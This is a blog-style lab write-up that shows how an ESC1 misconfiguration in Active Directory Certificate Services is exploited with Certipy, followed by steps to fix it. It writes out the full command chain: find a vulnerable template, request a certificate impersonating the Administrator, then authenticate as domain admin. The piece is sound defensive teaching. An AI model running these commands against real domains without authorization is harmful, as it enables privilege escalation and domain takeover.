What is AD CS?

Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.

If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading to privilege escalation.

In this lab, I exploited an ESC1 certificate template misconfiguration.

Lab Setup

• Domain: LAB.LOCAL
• Domain Controller: 192.168.56.104
• Certificate Authority: lab-DC1-CA
• Attacker: bob

Step 1 — Enumerate AD CS

First, I looked for vulnerable certificate templates using Certipy.

certipy-ad find -u [email protected] -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug

Certipy identified a vulnerable template named:

ESC1-Lab

This template allowed the requester to specify an arbitrary User Principal Name (UPN).

Step 2 — Request an Administrator Certificate

Since the template was vulnerable, I requested a certificate while impersonating the Administrator account.

certipy-ad req -u [email protected] -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn [email protected] -dc-ip 192.168.56.104

Certipy successfully issued an Administrator certificate and saved it as:

administrator.pfx

Step 3 — Authenticate as Administrator

Finally, I authenticated using the issued certificate.

certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104

Authentication succeeded, allowing me to impersonate the Domain Administrator without ever knowing the Administrator’s password.

Why Did This Work?

The certificate template was vulnerable to ESC1 because it:

• Allowed users to enroll.
• Allowed the requester to supply any UPN.
• Was trusted for client authentication.

This meant Bob could request a certificate for [email protected] and authenticate as that user.

How to Fix It

To prevent ESC1 attacks:

1.Disable “Supply in the request” unless absolutely necessary.

2. Restrict enrollment permissions to trusted users.

3. Review certificate templates regularly.

4. Remove unnecessary Client Authentication EKUs.

5. Audit AD CS with tools like Certipy and BloodHound.

Verify the Fix

Run the enumeration again.

certipy-ad find -u [email protected] -p 'password@123' -dc-ip 192.168.56.104 -vulnerable

If the template is properly secured, ESC1-Lab should no longer appear as vulnerable.

Key Takeaways

1. Regularly audit AD CS templates.

2. Follow the principle of least privilege.

3. Restrict certificate enrollment permissions.

4. Monitor certificate enrollment events.

Disclaimer: This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.

— Written by

Aruvasaga Chithan A

Ethical Hacker & Cyber Security Researcher.

Thanks for reading — your support keeps me writing.
See you in the next article…

Linkedin.